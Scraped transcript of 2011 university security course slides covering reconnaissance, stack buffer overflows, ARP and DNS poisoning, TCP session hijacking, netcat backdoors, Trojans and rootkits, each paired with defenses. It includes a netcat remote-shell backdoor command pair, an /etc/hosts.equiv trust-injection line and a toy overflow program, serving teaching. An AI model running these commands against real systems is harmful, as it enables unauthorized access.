2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class...
Transcript of 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class...
![Page 1: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/1.jpg)
2/15/11
1
In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next class
Reconnaissance: o DNS split-horizon
Scanning o Ping sweep, TCP SYN sweep o Traceroute o Port scanning o NATs o OS fingerprinting o Firewalking
Exploit vulnerabilities o Exploits for a specific vulnerability can be
downloaded from hacker sites o Skilled hackers write new exploits
What is a vulnerability? What is an exploit?
Stack stores important data on procedure call
Function call arguments
Return address
Saved frame ptr
Local variables for called procedure
TOS
Memory address increases
Consider a function void sample_function(char* s) { char buffer[10]; strcpy(buffer, s); return; }
And a main program void main() { int i; char temp[200]; for(i=0; i<200;i++) temp[i]=‘A’; sample_function(temp); return; }
Argument is larger than we expected
…
Large input will be stored on the stack, overwriting system information
Function call arguments
Return address
Saved frame ptr
s,buffer[10] TOS
Memory address increases Overwritten
by A’s
![Page 2: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/2.jpg)
2/15/11
2
Attacker overwrites return address to point somewhere else o “Local variables” portion of the stack o Places attack code in machine language at that
portion o Since it is difficult to know exact address of the
portion, pads attack code with NOPs before and after
Intrusion Detection Systems (IDSs) could look for sequence of NOPs to spot buffer overflows o Attacker uses polymorphism: he transforms the
code so that NOP is changed into some other command that does the same thing, e.g. MOV R1, R1
o Attacker XORs important commands with a key o Attacker places XOR command and the key just
before the encrypted attack code. XOR command is also obscured
What type of commands does the attacker execute? o Commands that help him gain access to the
machine o Writes a string into inetd.conf file to start shell
application listening on a port, then “logs on” through that port
o Starts Xterm
How does an attacker discover stack-based overflow? o Looks at the source code o Runs application on his machine, tries to supply
long inputs and looks at system registers Read more at o http://insecure.org/stf/smashstack.html
For system administrators: o Apply patches, keep systems up-to-date o Disable execution from the stack o Monitor writes on the stack o Store return address somewhere else o Monitor outgoing traffic
For software designers o Apply checks for buffer overflows o Use safe functions
Sniffing for passwords and usernames Spoofing addresses Hijacking a session
![Page 3: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/3.jpg)
2/15/11
3
Looking at raw packet information on the wire o Some media is more prone to sniffing –
Ethernet o Some network topologies are more prone to
sniffing – hub vs. switch
Ethernet is a broadcast media – every machine connected to it can hear all the information o Passive sniffing
For X For X
X
A
R Y
Attacker can get anything that is not encrypted and is sent to LAN o Defense: encrypt all sensitive traffic o Tcpdump
http://www.tcpdump.org o Snort
http://www.snort.org o Ethereal
http://www.ethereal.com
Switch is connected by a separate physical line to every machine and it chooses only one line to send the message
For X
For X X
A
R Y
Attacker sends a lot of ARP messages for fake addresses to R o Some switches send on all interfaces when their
table overloads
For X
For X X
A
R Y
Address Resolution Protocol (ARP) maps IP addresses with MAC addresses
1. For X
4. For X
2. Who has X?
3. I do X
A
R Y
![Page 4: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/4.jpg)
2/15/11
4
Attacker uses ARP poisoning to map his MAC address to IP address X
3. For X, MAC (A)
1. I have X, MAC(A)
X
A
R Y
4. For X, MAC (A)
2. I
have
Y, M
AC(A
)
6. For Y, MAC(A) 5. A sends this back to R, to be sent to MAC(X)
7. For Y, MAC (A)
8. A sends this back to R, to be sent to MAC(Y)
Dsniff o http://www.monkey.org/~dugsong/dsniff o Also parses application packets
for a lot of applications o Sniffs and spoofs DNS
Attacker sniffs DNS requests, replies with his own address faster than real server (DNS cache poisoning)
When real reply arrives client ignores it This can be coupled with man-in-the-
middle attack on HTTPS and SSH
Use end-to-end encryption Use switches o Statically configure MAC and IP bindings with
ports Don’t accept suspicious certificates
Faking somebody else’s IP address in IP source address field
How to spoof? o Linux and BSD OS have functions that enable
superuser to create custom packets and fill in any information
o Windows XP also has this capability but earlier Windows versions don’t
Attacker cannot see reply packets
Alice M Bob M
Attacker M 1. SYN, IP Alice, SEQA
2. SYN SEQB, ACK SEQA
3. RESET
![Page 5: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/5.jpg)
2/15/11
5
Attacker wants to assume Alice’s identity o He establishes many connections to Bob with
his own identity gets a few sequence numbers o He disables Alice (DDoS) o He sends SYN to Bob, Bob replies to Alice,
attacker uses guessed value of SEQB to complete connection – TCP session hijacking
o If Bob and Alice have trust relationship (/etc/hosts.equiv file in Linux) he has just gained access to Bob
o He can add his machine to /etc/hosts.equivecho “1.2.3.4” >> /etc/hosts.equiv
It used to be ISN=f(Time), still is in some Windows versions
On Linux ISN=f(time)+rand On BSD ISN=rand
Ingress and egress filtering Prohibit source routing option Don’t use trust models with IP addresses Randomize sequence numbers
Attacker has successfully logged onto a machine
![Page 6: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/6.jpg)
2/15/11
6
Attacker establishes a listening application on a port (backdoor) so he can log on any time with or without a password
Attackers frequently close security holes they find
Similar to Linux cat command o http://netcat.sourceforge.net/ o Client: Initiates connection to any port on remote
machine o Server: Listens on any port o To open a shell on a victim machine
On victim machine: nc –l –p 1234 /* This opens a backdoor */
On attacker machine: nc 123.32.34.54 1234 –c /bin/sh /* This enters through a backdoor, opens a shell */
Used for o Port scanning o Backdoor o Relaying the attack
Application that claims to do one thing (and looks like it) but it also does something malicious
Users download Trojans from Internet (thinking they are downloading a free game) or get them as greeting cards in E-mail, or as ActiveX controls when they visit a Web site
Trojans can scramble your machine o They can also open a backdoor on your system
They will also report successful infection to the attacker
Trojan application that can o Log keystrokes o Steal passwords o Create dialog boxes o Mess with files, processes or system (registry) o Redirect packets o Set up backdoors o Take over screen and keyboard o http://www.bo2k.com/
Antivirus software Don’t download suspicious software Check MD5 sum on trusted software you
download Disable automatic execution of
attachments
![Page 7: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/7.jpg)
2/15/11
7
The attacker has opened a backdoor and can now access victim machine at any time
Rootkits Alter logs Create hard-to-spot files Use covert channels
Alter or replace system components (for instance DLLs)
E.g., on Linux attacker replaces ls program Rootkits frequently come together with
sniffers: o Capture a few characters of all sessions on the
Ethernet and write into a file to steal passwords o Administrator would notice an interface in
promiscuous mode Not if attacker modifies an application that shows
interfaces - netstat
Attacker will modify all key system applications that could reveal his presence o List processes e.g. ps o List files e.g. ls o Show open ports e.g. netstat o Show system utilization e.g. top
He will also substitute modification date with the one in the past
Don’t let attackers gain root access Use integrity checking of files: o Carry a floppy with md5sum, check hashes of
system files against hashes advertised on vendor site or hashes you stored before
Use Tripwire o Free integrity checker that saves md5 sums of all
important files in a secure database (read only CD), then verifies them periodically
o http://www.tripwire.org/
Replace system calls o Intercept calls to open one application with calls
to open another, of attacker’s choosing o Now even checksums don’t help as attacker did
not modify any system applications o You won’t even see attacker’s files in file listing o You won’t see some processes or open ports
Usually installed as kernel modules Defenses: disable kernel modules
![Page 8: 2/15/11ccss.usc.edu › 530 › spring11 › 2.15.pdf2/15/11 1 In MHP 105, same time as our class Reading list is online Sample midterm is online o Try to solve it before the next](https://reader035.fdocuments.net/reader035/viewer/2022081407/5f2243fc3ca62c72fb0a209d/html5/thumbnails/8.jpg)
2/15/11
8
For binary logs: o Stop logging services o Load files into memory, change them o Restart logging service o Or use special tool
For text logs simply change file through scripts
Change login and event logs, command history file, last login data
Use separate log servers o Machines will send their log messages to these
servers Encrypt log files Make log files append only Save logs on write-once media
Names could look like system file names, but slightly changed o Start with . o Start with . and add spaces o Make files hidden
Defenses: intrusion detection systems and caution